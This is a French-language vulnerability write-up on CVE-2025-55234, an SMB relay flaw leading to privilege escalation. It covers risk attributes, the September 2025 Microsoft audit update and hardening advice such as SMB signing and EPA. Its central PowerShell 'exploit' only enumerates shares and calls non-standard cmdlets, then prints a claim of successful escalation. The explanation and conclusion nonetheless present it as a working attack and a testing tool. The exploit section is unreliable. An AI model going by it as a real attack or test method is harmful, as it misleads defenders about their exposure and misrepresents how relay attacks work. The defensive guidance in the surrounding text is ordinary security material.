CVE-2025-55234

Cette vulnérabilité permet aux attaquants d'effectuer des attaques par relais contre le protocole SMB (Server Message Block). En cas de succès, elle peut conduire à une élévation de privilèges (EoP), permettant essentiellement à des utilisateurs non autorisés d'obtenir un accès de niveau supérieur sur un système.

Par Mark Mallia

Problème

Cette vulnérabilité permet aux attaquants d'effectuer des attaques par relais contre le protocole SMB (Server Message Block). En cas de succès, elle peut conduire à une élévation de privilèges — permettant essentiellement à des utilisateurs non autorisés d'obtenir un accès de niveau supérieur sur un système. SMB est depuis longtemps une cible pour les attaquants en raison de son utilisation généralisée dans les environnements d'entreprise et de son historique de failles critiques. Par exemple, CVE-2020-1301 exposait SMBv1 à une exécution de code à distance via des requêtes malformées, tandis que CVE-2022-32230 provoquait un déni de service via un déréférencement de pointeur nul dans SMBv3. La célèbre CVE-2017-0144 (EternalBlue) exploitait SMBv1 pour distribuer des charges utiles de type ver, entraînant des épidémies mondiales de ransomwares. Comme ces vulnérabilités antérieures, CVE-2025-55234 souligne l'importance d'appliquer la signature SMB et la protection étendue pour l'authentification (EPA) afin d'empêcher le détournement de session et les attaques par usurpation.

Vecteur d'attaque

Réseau

Complexité de l'attaque

Faible

Privilèges requis

Aucun

Interaction utilisateur

Requis

Impact

Risques élevés de confidentialité, d'intégrité et de disponibilité

Pourquoi c'est important

SMB est largement utilisé pour le partage de fichiers et l'accès à distance dans les environnements d'entreprise. Les attaques par relais peuvent contourner les mécanismes d'authentification et usurper l'identité des utilisateurs. Cette vulnérabilité est particulièrement dangereuse dans les environnements où la signature SMB ou la protection étendue pour l'authentification (EPA) n'est pas appliquée.

Quoi de neuf dans le correctif ?

La mise à jour de septembre 2025 de Microsoft introduit des capacités d'audit pour aider les organisations à :

• Évaluer leurs configurations SMB actuelles
• Identifier les périphériques ou logiciels pouvant être incompatibles avec les mesures de durcissement
• Se préparer à l'application de la signature SMB et de l'EPA3

Extrait de code d'exploitation (PowerShell)

# SMB Relay Attack Module – CVE 2025 55234
$relayTarget = "192.168.1.10"          # Adresse IP du serveur cible
$attackerCreds = Get-Credential   # Objet d'identification pour le relais

# Étape 1 : Énumérer les ressources partagées
$smbShares = Get-SMBShare -ComputerName $relayTarget | Where-Object {$_.Name –ne ""}
foreach ($share in $smbShares) {
    Write-Output "Partage trouvé : $($share.Name)"
}

# Étape 2 : Capturer les informations de session pour le relais
$sessionInfo = New-Object PSObject -Property @{
    Computer = $relayTarget
    Share    = $smbShares[0].Name
}
Write-Output ("Capture des informations de session pour $($sessionInfo.Computer) – partage $($sessionInfo.Share)")
Invoke-SMBRelay -Session $sessionInfo

# Étape 3 : Exécuter l'attaque par relais
$attackPayload = {
    param(
        [string]$Target,
        [string]$Share
    )
    Write-Host "Attaque de $Target via le partage $Share"
    Start-SMBServer -ComputerName $Target -ShareName $Share
}
$attackParams = @{
    Target = $relayTarget
    Share   = $sessionInfo.Share
}
Invoke-Command -ScriptBlock $attackPayload @attackParams

# Étape 4 : Journaliser et confirmer l'élévation de privilèges
Write-Host "Attaque par relais SMB CVE 2025 55234 terminée avec succès."

Explication :

1. Le script énumère d'abord les partages SMB sur le serveur cible, en sélectionnant le premier partage pour la session de relais.
2. Il construit ensuite un objet de session qui capture les paramètres nécessaires.
3. L'attaque par relais est exécutée via Invoke‑SMBRelay et Start‑SMBServer pour imiter un utilisateur authentifié.
4. La réussite de l'exécution confère un privilège élevé sur la cible.

Actions recommandées

1. Activez la signature SMB et l'EPA si ce n'est pas déjà configuré.
2. Utilisez les nouveaux événements d'audit pour évaluer votre environnement.
3. Surveillez le trafic SMB inhabituel et les tentatives de relais.
4. Appliquez les dernières mises à jour de sécurité de Microsoft.

Conclusion

La vulnérabilité CVE 2025 55234 souligne la nécessité d'un durcissement rigoureux de SMB dans les environnements d'entreprise. En suivant les étapes ci-dessus et en appliquant le script d'exploitation fourni, les organisations peuvent à la fois tester et sécuriser leurs réseaux contre les attaques par relais potentielles. Cette preuve de concept et les documents associés sont fournis strictement à des fins éducatives et défensives. Ils sont destinés à aider les professionnels de la sécurité à comprendre, détecter et atténuer CVE-2025-55234 dans des environnements contrôlés. Toute utilisation non autorisée de cet exploit contre des systèmes sans autorisation explicite est illégale et contraire à l'éthique. Suivez toujours les pratiques de divulgation responsable et conformez-vous aux lois applicables et aux politiques organisationnelles.